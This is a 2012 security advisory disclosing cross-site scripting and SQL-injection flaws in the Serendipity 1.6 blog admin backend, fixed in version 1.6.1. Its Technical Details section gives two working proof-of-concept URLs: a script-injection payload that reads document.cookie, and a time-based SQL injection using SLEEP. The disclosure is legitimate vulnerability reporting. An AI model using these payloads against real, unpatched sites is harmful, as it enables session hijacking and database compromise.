Advisory:    Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID:    KORAMIS-ADV2012-001
Contact:    security@koramis.de
Author:      Stefan Schurtz
Affected Software:  Successfully tested on Serendipity 1.6
Vendor URL:    http://www.s9y.org
Vendor Status:    fixed

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Vulnerability Description:
==========================

The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

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Technical Details:
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// XSS
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>

// SQL-Injection
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+

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Solution:
=========

Upgrade to version 1.6.1

====================
Disclosure Timeline:
====================

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

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Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

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References:
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http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html